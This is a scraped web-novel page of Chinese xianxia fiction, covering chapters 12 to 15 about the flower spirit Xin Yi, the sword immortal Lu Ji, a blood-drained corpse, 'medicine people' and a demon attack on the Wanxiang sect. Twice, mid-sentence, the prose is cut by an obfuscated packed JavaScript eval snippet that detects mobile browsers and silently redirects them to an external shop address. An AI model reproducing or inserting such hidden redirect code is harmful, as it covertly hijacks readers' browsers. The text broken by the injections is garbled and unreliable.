月无伤嗤笑一声,直接伸手去牵她:“连外门弟子都不算,能学到什么真本事?当然是跟着我……” 话音未落,一道雪亮剑光划破夜幕。 月无伤半截衣袖竟被齐齐削落,再多一分便要见血。 他刚想怒骂,一抬头,却认出了归藏剑。 再往上,是一张面无表情的脸——云山君,陆寂。 他只能远远仰望的人。 陆寂为何会为这小仙出手? 月无伤转怒为笑,恭敬一拜:“云山君不是在前殿宴饮么?什么风将您吹来了?” “这是本君的道侣,你说本君该不该来。” 陆寂眼眸一垂,面容俊美,气势却逼人。 月无伤大惊,看了眼身边美貌无害的小仙:“这位……竟是云山君的道侣?小仙有眼无珠,还以为是寻常仙子,还望君上和君后恕罪!” 陆寂扫了辛夷一眼:“可有受伤?” 辛夷摇头,还月无伤解释:“无妨,他不是坏人,只是说要教我修炼,还说一夜便能让我筑基呢!” 不料此言一出,陆寂却冷冷一笑:“是么?” 月无伤顿时汗如雨下,连连赔罪:“君后恕罪!是小仙口不择言,日后绝不再胡言了!” 辛夷不明白陆寂为什么不高兴,更不知这月无伤何以惶恐至此,好心地伸手去扶他:“无碍的,你也是好意。说不定日后真有机会同门修行呢。” 月无伤赶紧躲开,干笑两声:“君后莫要再拿小仙说笑了,小仙当真不敢了!” 陆寂微微不耐,对辛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979496|193112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夷道:“还不走?” 辛夷只好跟上。 月色寂静,陆寂一路无言。 辛夷不知他为何忽然生气,追上去询问:“仙君,是我哪里说错话了吗?还是这合欢宗有什么不好?我日后总归是要离开无量宗的,拜进合欢宗不行吗?” 陆寂脚步一顿,辛夷猛然撞上他后背,鼻尖一酸,眼泪差点掉下来。 她忙捂住鼻子,却只见陆寂淡淡回眸:“合欢宗?你可知那是何处?” 辛夷奇怪:“什么地方?不就是一个仙门吗?” 陆寂似乎不愿多言,只丢下一句:“那是专以双修为修炼法门的宗派,且……男女不忌。” 辛夷霎时呆住,双修? 她顿时闹了个大红脸,恨不得找个地缝钻进去。 难怪陆寂生气呢! 便是她,现在也想回去揍那个月无伤一顿! —— 这一晚分外尴尬。 辛夷徘徊许久,鼓起勇气向陆寂致歉,免得他以为她存心坏他名声。 陆寂并未计较,只道:“仙门之中也分正邪,有些宗派行事诡谲。你日后即便另择师门,也需擦亮双眼。” “我记下了!”辛夷笑眯眯道谢,“到时候还请云山君帮忙掌眼。” 陆寂不冷不热:“你先学会筑基再说。” “……哦。” 辛夷又默默滚回书房,抱着那卷艰深复杂的心经一个字一个字研究起来。 不出所料,陆寂果然忘了普通人是要睡觉的。 他自己不睡,辛夷也不敢睡,强撑着眼皮。 直至五更天,她实在熬不住,便将经书举高挡住脸,趴在桌子上偷偷眯一会儿。 就一会儿,云山君应当不会发现吧? 不知过了多久,一声凄厉尖叫忽然将她惊醒。 辛夷眼还未睁开,陆寂已起身,守卫正低声禀报。 “发生何事了?” 辛夷揉着眼走过去。 陆寂瞥了眼她惺忪睡颜,顿了顿,方道:“有人死了,合欢宗的月无伤。” “月无伤……听着怎么有点耳熟。”辛夷尚有些迷糊,随即睁圆了眼,“不就是昨夜那个登徒子?” “嗯。”陆寂颔首。 此时各宗门之人陆续聚集,二人便也前去查看。 月无伤就死在昨夜那处花苑。 只是此刻已成一具干尸,皮紧贴着骨,血全被吸干。 要不是穿着那身风骚的桃花粉道袍,辛夷根本不敢认。 “……怎会如此?” “八成是妖干的,妖最喜食人的血肉!” “可万相宗是五大仙门之一,什么妖敢混入?” “前阵子不是还有个画皮妖扮作仙门弟子盗走了忘忧琴谱么?连无量宗都防不住,何况万相宗?” “嘘——云山君到了。” 众人窃窃私语,合欢宗弟子更是悲愤难当。 冲虚掌门的那位爱徒朔光君彬彬有礼地出来安抚了一番,表示会严查。 “……诸位放心,此事既然发生在我万相宗,万相宗必定会找出真凶,告慰亡魂!” 一番话下来,众人也不好再追问,纷纷宽慰合欢宗门人。 不料那合欢宗弟子突然指向辛夷:“昨夜我途经此处时亲眼见到师兄与这位姑娘在一处,似乎有所争执,今早师兄便遇害,敢问姑娘作何解释!” 那弟子并不知辛夷身份,言辞激烈。 在场顿时一片哗然。 辛夷莫名被点名,正要解释,陆寂却先开了口:“这是本君的夫人,昨夜一直与本君在一处。” 那弟子愕然,完全没想到这么普通的一个小仙竟会是传说中云山君的夫人。 但毕竟事关人命,他还是硬着头皮解释:“小仙不知姑娘身份,若有冲撞,还请海涵。但小仙所言属实,确实看见师兄和这位姑娘在一起,之后他便回房睡觉了,再之后,就变成了这样……” “昨晚确有其事。”陆寂语气平静,“月无伤出言不逊,本君已略施惩戒。此后,夫人便一直与本君在一处,直至五更方歇下。你是在怀疑本君的道侣,还是,怀疑本君?” “小仙不敢!”那弟子慌忙跪下。 朔光君适时接话:“云山君乃剑道魁首,断无虚言。何况若真是归藏剑出手,一寸尸骨都不会剩,岂会留下干尸?真凶定然另有其人……” 众人纷纷附和,目光扫过辛夷眼下淡淡青影,又不免暗暗交换眼神—— 竟折腾到了五更天。 云山君与夫人还真是恩爱啊,先前倒是他们看走了眼。 不过话又说回来,既然月无伤见过的最后一个人没有嫌疑,那又是谁杀了他,还残忍地吸干了他的血? 13.槛花笼鹤(四) 此案太过诡异,朔光君安抚人心之后,众人便散去。 人群中,辛夷一眼便瞧见了那位站得笔直的妙音仙子越清音。 她发髻微乱,风尘仆仆, 辛夷略一思索便明白了,归藏剑是圣器,日行千里,妙音仙子的法器自然难以企及,次日才抵达也在情理之中。 毕竟是故人,辛夷特意上前打了招呼,妙音仙子也微笑着与她说话。但就像丁香说的,那笑意似乎并不达眼底。 辛夷心生疑惑,待回去时才后知后觉——方才陆寂当众说他们昨晚五更才歇下,他本意指修炼,可落入旁人耳中,怕是要生出别样的遐想,以为他们是在…… 难怪妙音仙子神情那般微妙。 辛夷尴尬不已,她只把陆寂当债主看,可不想惹得有情人之间有任何隔阂。 不行,改日定要寻个机会同妙音仙子解释清楚。 正懊悔时,她又听得几句关于月无伤的闲言碎语。 “这合欢宗虽是仙门,行事却和邪门歪道差不多,门中弟子风流成性,招惹了无数情债,这月无伤更是更是声名狼藉,被他负了的女子没有上千也有数百,我看呐,八成是遭了报复!” “可不是?前些日子还听说他招惹了一只狐妖,那狐妖闹上合欢宗,搅得天翻地覆,他才借口贺喜躲来万相宗。” “你是说,是这狐妖追到了万相宗,暗中杀了他?” “十有八九!妖族喜食血肉,月无伤那死状分明就是遭了妖物毒手!” “若真如此,也是咎由自取。只盼朔光君早日擒住那妖孽。” …… 辛夷听了一路,心中不由感慨,果然是一笔糊涂风流账。 幸好今日有云山君出面作证,否则她真是百口莫辩。 她小跑着追上前方的白衣身影,刚想开口道谢,却忽然想起他方才提到了五更。如此说来,他早察觉她在偷懒打盹了? 辛夷羞愧不已,一边道谢一边道歉:“多谢仙君方才替我解围。昨夜……昨夜我是太累才偷了一会儿懒,我保证,以后绝不会了!” 陆寂脚步顿住:“不必道歉,是我疏忽,忘了你如今只是个凡人。” 辛夷心中一松,这位仙君真是越来越有人味了。 然而下一刻,陆寂又道:“五更是有些晚了,日后你每晚修炼到三更即可。” “每晚?三更?”辛夷睁圆了眼。 “怎么?”陆寂淡淡瞥她一眼。 “没……没怎么。” 辛夷默默咬牙。 修炼到三更,五更便要起,也就是说满打满算她每日只能睡两个时辰。 地主家的长工也没有这么惨吧? 枉她刚刚还夸他有一丝人味! 腹诽了一路,回到房间后,辛夷连口茶都没喝,却听陆寂又道:“还杵着做什么?书看完了?” “仙君早已辟谷,有所不知,我、我还是要吃饭的!” 辛夷鼓足勇气嚷出这句,扭头便跑去找丁香蹭饭。 望着那飞快闪过的鹅黄裙角,陆寂微微皱了眉。 吃饭?她居然这么弱? 这顿早饭辛夷吃得如饿虎扑食。 毕竟昨晚宴会上顾及仪态她只碰了几筷子,接下来水米未沾又修炼了一整夜。 丁香都于心不忍了:“好歹也是剑道魁首的道侣,竟然每天吃不饱也睡不好,还不如在浮玉山那穷乡僻壤舒服呢!” “就是就是。”辛夷塞了满口点心,含糊应道,“不过云山君这种剑仙脱离世俗太久了,一时间想不到凡人之躯这么弱,也情有可原。” “你就是心软!”丁香嘴上数落,却盛了碗汤推给她,“慢些吃,仔细噎着。陆寂也未免太急了些,短短半月你便已修炼到筑基第一层,放在修仙界也算天资出众了,他何苦这般逼你?” 这点辛夷倒很清醒:“他是想早些两清罢了。我已经是单灵根了,筑基进度却依然缓慢,实在说不过去。但是我也努力了,不知为什么,能吸纳转化的灵气似乎只有常人的一半……” “难道因为你从前是妖?” “或许吧。”辛夷也琢磨不透,“罢了,一半便一半。云山君已同冲虚掌门说定,会用须弥鼎帮我筑基,只要我这几日能参破第二层。” 她边说边往嘴里塞吃的,未曾留意门外有人经过。 当发现是陆寂时,她手中最爱吃的桂花糕都不香了,呆呆地看着门边,回想自己有没有口出狂言。 不过陆寂似乎什么都没听见,连看都没看她一眼便离开。 辛夷小口小口啃起桂花糕,心底悄悄舒了口气。 —— 不得不说,万相宗真是霹雳手段,午后便擒住了潜入宗门的狐妖。 外面闹得沸沸扬扬的,丁香爱热闹想去看,辛夷想起昨晚那风骚但是心肠似乎并不十分坏的月无伤也想去看个究竟。 当然,到了人前的时候,她姿态端得像模像样,下巴微抬,不苟言笑,俨然一位不可亵渎的仙子。 旁人见了纷纷避让,辛夷于是得以看清阵中情形—— 那是只白狐,被法器震得在地上打滚,眉眼秀丽,血痕累累。 一旁,还有个眉心一点红痣、手执长鞭的锦袍少年正抱臂冷笑。 “大胆狐妖,落到本公子手里还敢嘴硬!说,月无伤是不是你害死的!” “他死了?”那狐妖先是一呆,随即阴森森地笑起来,甚至笑出了眼泪,“死得好,死得好啊!上天有眼,总算收拾了他!” “诡计多端!你以为作出这副姿态就能逃避罪责?月无伤分明就是被你害死的!” “我确实想杀他,可惜晚了一步,还没来得及动手就被你们擒住了!他的尸体在哪?我要将他碎尸万段!” “还敢狡辩!” 辛夷看得心惊,还是身旁某个小宗门的宗主见她好奇,特意告诉了她原委。 原来这女子便是月无伤曾经辜负的那个狐妖,据说还曾怀过他的孩子,可惜被他赶走时小产了。而这眉心一点红的小公子则是冲虚掌门的独子,章炀。 修士虽是人,但又和人不尽相同。在修真界,看重根骨甚至超过血脉。 譬如万相宗,章炀虽然是冲虚掌门的儿子,但只是双灵根,远远比不上朔光君谢徽的单灵根。因此从小到大,冲虚掌门更偏爱朔光君,将女儿许配给了他,日后这万相宗也摆明了是要交到他手中。 因为这一层关系,章炀恨极了谢徽,这次月无伤出事,他爹虽然把差事交给了谢徽,但章炀也没闲着,自告奋勇追查,还真被他抢先一步抓到了这狐妖。 难得能压谢徽一头,章炀当然不会轻易放弃,于是才这般严酷地审问起狐妖。 辛夷听罢只觉得唏嘘,难怪青阳君这般针对陆寂——或许也和万相宗一样,清虚子最先看中的是青阳君,可是后来陆寂横空出世,夺走了他的一切。 但这狐妖说话并不似作伪,章炀一鞭一鞭抽下去,让辛夷想起了被冤屈的自己,忍不住替她说话:“小公子,再这般严刑逼供,这狐妖恐怕便要被打死了,此事或许另有隐情,不如再多加核查?” 昨日晚宴章炀虽赌气没去,但还是远远见过这位的。他扔了鞭子,颇为爽快:“既然云山君的君后都开口了,今日便到此为止。你回去好好想想,胆敢再欺骗于人,我必将你抽筋剥皮!” 那狐妖已经奄奄一息,被拖走前看了辛夷一眼,古怪地笑起来:“仙妖殊途,天理不容,自古以来都没好下场,你必会比我更惨!” “疯子!真是个疯子!” “就是,君后刚刚才帮了她,她怎么恩将仇报?” “月无伤招惹上这种人也是倒霉!” …… 辛夷倒并不生气。她爱的是从前寄宿在陆寂身体中的那个神魂,不是陆寂;陆寂也并不爱她,他们很快就会两清。 既无将来,又何谈下场? 此时朔光君谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983713|193112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徽匆匆赶至,听闻章炀当众动刑,面露不悦,出言训诫。章炀积怨已久,竟不顾颜面当众与他争执。 场面一度闹得十分难堪,最后是谢徽命人将章炀带离,才未在宾客前彻底失态。 一番热闹看下来,围观众人七嘴八舌,意犹未尽。 辛夷没再插嘴,只回去默默修炼。 —— 万相宗的万年庆典定于明晚七星连珠之时举行,届时须弥鼎将当众展示,并开鼎取剑。 妖族极可能趁机来夺,因此冲虚掌门特意请了各宗门的掌门或长老前去商议御敌部署。 回春谷的人据说明日才会来,而玄机阁的老阁主许久不出世,少阁主更是神龙见首不见尾。眼下五大仙门仅有无量宗陆寂与天音宗越清音在此。因此,这次议事,陆寂毫无疑问被奉为座上宾。 议事之后,他便帮着万相宗在外门加固结界,一整个白日都没回来。 陆寂不在,辛夷也未懈怠,反复对照心经引气凝神,到下午时,终于大致看懂,只是还有许多不明白的地方,用墨笔画了圈。 正想歇息,外面突然传来一阵打斗声。询问侍婢方知,竟是那狐妖破牢而出,还杀了一名拦截的修士。不过狐妖也没讨着好,被朔光君就地诛杀。 想起那狐妖歇斯底里的样子,辛夷心中恻然,说到底,她也是被月无伤招惹才犯下这么多罪孽。 无论如何,月无伤之死总算有了交代,各宗之人皆松了口气。 而且陆寂帮着加固了防御阵法,妖族即便有所图谋,也定然不能得逞。 两大隐患尽数消除,众人不免将谢徽和陆寂比较。 “这二位都是天赋卓绝,修为深厚,有他们坐镇,实乃我仙门之幸啊!” “不光如此,二人还都是出了名的深情,云山君自不必说了,听闻这朔光君也是,他那未婚妻因病昏迷,三年未醒,朔光君不仅没有半分悔婚之意,反而日日悉心照料,一片痴心,实在是世所罕见!” “相比之下,那位小公子行事着实浮躁,终究逊了一筹,难怪冲虚掌门执意将宗门交给外人……” 辛夷不想听闲话,早早离开。 彼时陆寂正被人簇拥而回。他高挑挺拔,容貌俊美,便是在一群仙人中也是最亮眼的一个,只是神色略有些疲惫。 送走冲虚掌门后,他瞥了一眼她案头的经卷,问道:“看完了?这些圈注处都是看不懂的?” 辛夷见他逐页翻过,圈画之处比比皆是,顿时面颊微热:“是我愚钝。仙君今日耗费了太多灵力,不如先行休息,明日再指点我也不迟。” “不必。”陆寂淡声打断,面无波澜地逐一讲解。 辛夷只好乖乖跟着学。 经过一个时辰点拨,辛夷渐渐明了,遂趁热打铁,闭目凝息。 这一学便忘了时辰,甚至不知天色已暗。 得知这位君后尚未辟谷,万相宗的弟子奉命前来叩门,询问是否需要备膳。 陆寂本想说不必,却鬼使神差般先点了头,还提了一句:“备些桂花糕。” “是。”那弟子郑重答应。 陆寂早已辟谷,桂花糕这种香甜的点心为谁而点不言自明。 难得窥见这位清冷仙君不为人知的一面,那小弟子仿佛发现了天大的秘密,头虽然低着,唇角却不由自主地上扬,快步回膳房传命。 发觉对方掩不住的笑意,陆寂微微蹙眉,一时竟也不知自己为何会提起桂花糕。 或许是受那夺舍之术残留的影响。 过去几个月,他神魂虽被困在识海之中,五感却清晰依旧。 夺舍之人的一举一动都犹如亲历,那人与小花妖相处的点点滴滴他也全都知晓。 小花妖喜爱桂花糕,夺舍之人曾屡次购买赠予她,想必是这段记忆残留在脑中,刚刚突然冒了出来。 无妨,不过偶然罢了。 等日子再久些,他便会将这段无聊的插曲忘个一干二净。 14.槛花笼鹤(五) 修炼有一种境界叫做心流——云我无心,云心无我。 辛夷今晚便进入了这种状态,若不是陆寂将她唤醒,她或许会不眠不休,一直修炼下去。 “你已突破第二层,不宜贪多。” “这就……突破了?”辛夷难以置信,试着运转灵力,随即笑意盈盈,“真的!我竟然这么厉害,还以为要很久呢!多谢云山君!” 陆寂已许久未感受过如此纯粹的欣喜,更不明白花费大半个月才完成筑基第二层有什么值得欢喜。 但这小花妖的快乐,似乎格外简单。 当发现夜宵里竟有她最爱的桂花糕时,她愈发心满意足,眉眼弯弯地自言自语:“晚上竟然也有桂花糕,今天运气实在是太好了!” 是运气么? 不过是他一句随口的吩咐罢了。 陆寂站在一旁,只觉得这小花妖单纯地可笑。 但不知为何,他并未说破,只是望着她唇角沾着的糕屑,神色难辨。 当年全族被灭后,是清虚子把他带回了无量宗。 清虚子修的是太上忘情之道,为了飞升,不惜杀妻证道,可惜他资质有限,此生无缘大道,于是便将一切执念倾注于弟子身上。 陆寂是罕见的金系单灵根,测出灵根那日,清虚子喜极而泣,对他寄予厚望。 为了早日报仇,陆寂对自己也要求极高。 从入门到结丹,他只花了十日,期间不眠不休,不吃不喝。 之后更是寒暑不分,日夜苦修。 清虚子为人严苛,甚至称得上冷酷。做得好从不夸赞,做不好却必有重罚。 少年时他唯一一次松懈,是被师兄瑶光君劝下山喝了半日酒。 虽只有短短的半日,也并未耽误修炼,但清虚子知道后大发雷霆,将瑶光君禁足三月,对于他更是严厉惩处,说他心性不坚,亲手鞭笞了五十。 边打,清虚子边用全家被灭的血案教训他,问他是否知错。 少年跪在雪地里,赤着上身,一遍遍回答知错。 五十鞭全部落下后,清虚子扔了长鞭,长叹一口气:“你实在太让为师失望!” 那是陆寂第一次犯错,也是最后一次。 在那之后,他在思过崖闭关了十年。 整整十年里,除了每月初清虚子前来检查课业和传授心法,他没再见过任何一个人。 也正是这十年,他从金丹期跃为化神期,成为修真界有史以来破境最快之人,名震天下。 但这还不够,或者说不够让清虚子满意。 再后,他拔出了归藏剑,人剑合一,下山除妖,一步一步跨过了炼虚、合体,最终登顶大乘。 叩响扶桑神木上的浮金钟,成为名副其实的剑道第一人之后,他的师尊清虚子才对他露出了这么多年的第一个笑脸。 他曾经无比期望得到师尊的认可,但真正得到后,却忽然心生厌倦。 此后,他正式成为十二峰主之一,也是最年轻的峰主。 每日都有无数人不远万里前来朝拜,每日也有无数人对他笑。 讨好的、畏惧的、讥讽的、嫉妒的、爱慕的……形形色色,可那时的他,已经无动于衷。 此刻看见这小花妖捧着桂花糕、眼眸亮晶晶的模样,某一瞬间,他忽然想起极遥远的从前——那年初雪,母亲抱着他去看新生马驹时,自己似乎也曾这样笑过。 可母亲早已化作一抔黄土。 煊赫一时的竞陵陆氏,也只剩他一人。 陆寂一言不发地转身,望向窗外浩瀚星河。 屋子里安安静静的,原本正在心满意足吃着桂花糕的辛夷敏锐地发觉陆寂似乎有些不高兴。 ——虽然,他那张脸常年没什么情绪,身为天之骄子似乎也无甚可烦恼,但她就是感觉到了。 她放轻了动作,尽量不打扰他,只用余光悄悄看着。 夜风拂动他的衣角,蹀躞带上玉佩相撞,发出清脆的响声。 陆寂不喜繁饰,这玉佩是他身上唯一的饰物,上面隐约刻着一个“陆”字,或许是他的家传之物。 可他出身何处?为何大婚之时也不见有亲族来? 辛夷对他的过往一无所知,更不敢问,只把自己缩成一团,生怕打扰他。 —— 这一夜格外安静。 五更时分,辛夷被叫醒时,陆寂又恢复了平常的冷淡,仿佛昨夜窗前那道寂寥身影只是她的错觉。 也是,云山君这样的人要风得风,要雨得雨,容貌、修为无一不是顶尖,他会有什么烦恼? 非要说,大概只有被她莫名分走半颗内丹这件事罢了。 昨晚大抵是她想多了。 辛夷不再去想,老老实实地修炼筑基第二层。 没多久,朔光君谢徽忽然前来求见。 他一向温润从容,文质彬彬,在仙门的美名不输陆寂,此刻却神色仓惶,步履匆匆。 辛夷仔细听了一耳朵才知道原来他的未婚妻章若柳突然心力衰竭,危在旦夕。 章若柳是金灵根,恰好,陆寂是金系第一人,朔光君前来正是拜请陆寂出手为未婚妻输送灵气续命。 五大宗门同气连枝,陆寂自然不会拒绝。 辛夷作为他名义上的道侣,也当去探望。 陆寂与朔光君先行一步,辛夷则由侍女陪同前往,途中听说了这位大小姐的病情—— 原来冲虚掌门膝下只有一子一女,这章若柳便是他的大女儿。 章若柳与朔光君谢徽青梅竹马,互相爱慕,长大后便定下了婚约。 然而,在一次斩妖中,章若柳为了保护谢徽被妖蛟重伤,全身经脉尽断,重伤濒死。 万相宗倾尽天材地宝也只能吊住她一口气。 章若柳就此陷入昏迷,一睡便是三年。 期间,朔光君谢徽不仅没有悔婚,反而四处奔波,为她寻找救命之物。 二人鹣鲽情深,传为佳话。 章若柳被安置在一座幽静的别院,庭院深深,花草繁盛。 且大多是能够滋养心脉的灵花灵草,每一株都价值千金。 进门之后,灵气愈发氤氲,呼吸之间便令人神清气爽。 侍婢解释道:“这些灵花灵草都是朔光君这三年来四处搜集的,为的就是让大小姐早日康复。” 辛夷惊讶:“全都是吗?这要耗费多少心力……” “是啊,所以这些年朔光君除了料理门内事务,便是为大小姐求药,连自身修炼都耽搁了。幸得他悉心照料,大小姐病情渐渐好转,近来手指可以动了,仿佛有所知觉。可不知为何,刚刚她突然吐血,危在旦夕。朔光君也是爱妻心切这才请云山君出手。但愿大小姐能渡过此劫,否则,朔光君怕是也要伤心而去了。” “大小姐心地善良,朔光君情深意重,吉人自有天相,上天一定会保佑的。”辛夷宽慰道。 “但愿如此。” 侍婢轻轻叹气,引着辛夷在花厅暂候。 今日回春谷的医圣也来了,有医圣和陆寂在,辛夷也做不了什么,只在心里默默给这位大小姐祈祷。 诊断之时,外面的水榭突然传来斥责声,仿佛是那个小公子的声音。 辛夷走去一看,果然是章炀,正在责罚一名婢女。 “你来做什么?没用的东西,还不快走,别把晦气带给我姐姐!” 章炀一把将那女子推搡在地,那女子手腕被蹭出好大一片血痕。 辛夷于心不忍:“小公子何必动怒?” 没等章炀开口,这容貌清秀的女子却解释道:“小公子说得对,奴婢是个晦气之人,本不该来的。只是听说大小姐吐血,实在放心不下才特意前来探望……” “既然知道还不滚!万相宗用天材地宝养了你这么多年,你却连我姐姐都救不回,要你有何用!” “是奴婢无能,我这便离开。” 女子低眉顺眼,向辛夷微微一礼,便咳嗽着起身。 辛夷上前扶了一把,触手却发觉这女子手腕上有一圈圈疤痕,交错纵横,仿佛是经年累月留下的。另一只手则裹着纱布,血迹不断渗出来,一滴滴落在地上。 辛夷不由得心惊,刚想追问,那女子却掩着袖子离开了,于是她只好询问章炀:“敢问公子,这女子为何手腕有这么多疤痕 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医圣还记得辛夷,捋须笑道:“你这小花妖倒是命大,当初竟敢生生剖取妖丹!你夫君当时急得不行,千催万请请我出山才救回你一命,幸好你一切无恙,也算苦尽甘来了。” 辛夷听到这话又想起那人,苦尽甘来么?不,没有甘,只有苦。 她心中苦海翻涌,却还得挤出一个笑,躬身一拜:“多谢医圣出手相救。” “哎——客气什么。俗话说,宁拆十座庙,不毁一桩婚。我可不像清虚那老道如此顽固,瞧见你们二人恩爱如初便放心了!” 医圣满脸欣慰,辛夷愈发不敢直视,寻了个借口告辞。 默默走了一路,她心绪才渐渐平复,寻了个话头:“仙君,你知道药人是什么吗?我刚刚看到小公子在教训一个药人。” 陆寂语气平淡:“万相宗以炼器闻名,但少有人知,他们炼丹之术并不逊于炼器。药人是他们豢养的一种特殊的人,根据体质不同,从小喂养不同的灵药,待时机成熟的时候,取血炼丹,便能够炼制出绝世丹药。若是用须弥鼎炼制,更是一丹难求。” “炼丹?”辛夷惊讶,“可是他们是活生生的人啊,又不是真的药材……” “药人是人,更是药。他们大多是无家可归的孤儿,又或者走投无路之人,甘愿卖身为药人。万相宗让他们衣食无忧,相应地,他们当然要付出代价。” “可毕竟是一条性命……” “你从前当一株花的时候不是也埋怨有人摘你的花,令你疼痛吗?药与人并没不同,人吃药,人自然也可以吃人。世间法则本就如此。” 辛夷默默闭了嘴。 是了,药与人,在更高存在的眼中或许并无不同。 强者可以欺负弱者,就如同人采花、捕猎一样。 同样,花若是成了精,猎物成了妖,也可以反杀于人。 这个世界本就是残酷的。 她救不了药人,就如同没法阻止人采花或是妖吃人。 辛夷只叹了口气:“那位大小姐还能好转吗?” “她经脉尽断,识海尽毁,希望渺茫。即便救活,也只是一个不能修炼甚至无法行走的废人。” 言外之意——完全不值得浪费时间。 辛夷却不这么认为,小声反驳:“在至爱之人眼中,哪怕不能修炼,不能行走,也算不得什么。只要她还活着,便是天大的恩赐。” 陆寂微微蹙眉,看了她一眼。 辛夷立即低下头:“……这只是我自己的想法。” 陆寂没再说什么,他的确无法理解,为何要为一个无望之人倾尽所有? 尤其是朔光君,本是为数不多能入他眼的人。 然而整整三年,他却为了一个根本无法治愈的女子荒废修行,自断仙途。 世人皆夸赞朔光君情深,陆寂却只觉得愚蠢。 他绝不会像他那般执迷不悟,自甘沉沦。 绝对,不会。 15.槛花笼鹤(六) 章若柳的病情暂时稳住之后,冲虚掌门和朔光君又投入大典的筹备之中。 安置须弥鼎的祭台早已搭好,下方也布好了各宗门的席位,只等七星连珠到来。 傍晚的夕阳鲜红如血,莫名给人一种不详的气息。 但事已至此,万宗朝贺,万相宗断没有撤下祭台的道理。 出门之前,陆寂提点辛夷:“今晚妖族势必会前来抢夺须弥鼎,无量宗的弟子会守在你身边,有任何不测你立即随他们退避,可明白?” 辛夷郑重答应:“仙君放心,我修为低微,强行出手只会添乱,不会冲动的。” “你知道就好。”陆寂淡淡丢下一句。 大典设在万相宗顶,金光大殿。 仪式开始前,冲虚掌门洋洋洒洒说了一通,无非是历数万相宗万年功绩,再展望未来,誓要斩妖除魔,匡扶正道云云。 辛夷百无聊赖,只觉得与清虚子平日训话相差无几。 好不容易熬到他讲完,接下来便是万众瞩目的开鼎取剑了。 丁香在辛夷身后小声蛐蛐:“据说,这须弥鼎是上古传下的圣器,万相宗靠它炼出了无数法宝,名扬四海,也攒下了滔天财富。” “你从哪儿听来的?”辛夷好奇。 “和这儿侍婢闲聊听来的,这两日我已经同不少人混得很熟了!”丁香得意洋洋。 “丁香,你真厉害!”辛夷由衷佩服。 “这有什么,不论是妖还是仙,都有一颗八卦之心。我随便说几句,他们就凑上来啦!” “咦,你放的什么消息……” “咳……这就不必提了。” 丁香有些心虚:“你还不知道吧,这须弥鼎中炼制的剑是咱们妖皇的命剑!当年妖皇被封印之后,命剑下落不明,后来被万相宗寻得,放入须弥鼎中重炼了整整百年,今日开鼎,不知多少人盯着这把剑呢!” 虽然是穷乡僻壤的小妖,辛夷也是听过妖皇大名的。 听说那是位极其厉害的大妖,曾经一统妖界,力压仙门。 其命剑名为无尘剑,以龙骨铸成,威力无双。 “难怪今日来了这么多人……” 她望向那被众弟子小心翼翼抬上祭台的古鼎,心中不免好奇。 在场的修士也屏息凝神,神情肃穆。 终于到了开鼎环节,冲虚真人率弟子门念诵咒术,随后将开鼎玉笏交给朔光君。 朔光君今日一身织金白袍,头戴高冠,风姿凛然。 他执笏上前,正欲开鼎之时,突然之间浓云蔽日,风起云涌—— “不好了,是血鹫!”护阵弟子喝道。 辛夷定睛一看,才发现那果然不是乌云,而是黑压压密集成群的血色秃鹫,嘶鸣着扑向仙障。 而那血鹫之上,则站着一个身穿锦紫长袍,墨发披散的妖君—— 妖皇座下四大护法之一,英招。 “许久不见啊,冲虚掌门!开鼎取剑这等盛事,掌门广发请帖,怎独独漏了我招摇山?” “大胆妖孽,仙门盛事你们也配!” “这鼎中所炼乃是我主君的命剑。你说,我们配不配?” 英招一声令下,下一刻,他身后的上万血鹫如黑潮般撞向仙障! 撞击声犹如雷鸣,血鹫血红的双眼更是令人心惊。 “这英招不知从哪找来这么多血鹫,据说这是专门破障的妖物,只怕咱们的仙障抵挡不了多久!万一让妖族混进来,这须弥鼎的安危堪忧!” “不如先把须弥鼎撤回,改日再开启?”有人急道。 冲虚掌门断然拒绝:“不可!既已昭告天下,岂能当众反悔?何况须弥鼎已开启,强行关闭则一年内无法再用,小女性命垂危,还需此鼎炼丹,绝不能停!” 辛夷这才明白冲虚掌门为什么明知妖族要抢也执意要开鼎了,原来是为了女儿。 妖族来势汹汹,可万相宗也不是浪得虚名,随即命弟子们合力加固仙障。 果然,万名弟子灌注灵力之后,那些血鹫渐有颓势,接连撞死在仙障之上。 冲虚掌门稍稍安心,正要继续大典,忽然,加固仙障的弟子之间竟开始互相厮杀,乱作一团,甚至有人反手攻击仙障! “住手!”冲虚掌门厉声呵止。 然而那些弟子眼神涣散,恍若未闻。 “是四大护法之一的朱厌。”陆寂提示道,“朱厌最擅长幻术,恐怕他早在大典开始之前数日便混入了,这些弟子们正是受了他控制。” “可有办法能解?” 回春谷的医圣捋着胡须:“有是有,但尚需一段时间。眼下外有英招驱使血鹫攻击仙障,内有弟子被朱厌控制自残,两个妖君里应外合,恐怕不等解咒仙障便会崩塌。” “这些妖孽果然蓄谋已久!”冲虚掌门顿时心急如焚。 此时朔光君与章炀同时请命:“弟子愿迎战英招!” 冲虚掌门却犹豫:“英招乃五千年大妖,你二人修为虽不低,却长于炼器,并非杀伐,只怕难以应对。若有不测,万相宗将来……” “本君去吧。”陆寂淡声开口。 冲虚掌门仿佛见了救星,俯身长拜:“云山君愿意出手实乃我万相宗之幸!大恩大德本君将来必报!” 陆寂未再多言,提了归藏剑,身影一闪已破障而出。 英招本在得意之时,突然被凛冽的剑锋逼退,呕出一口血来。 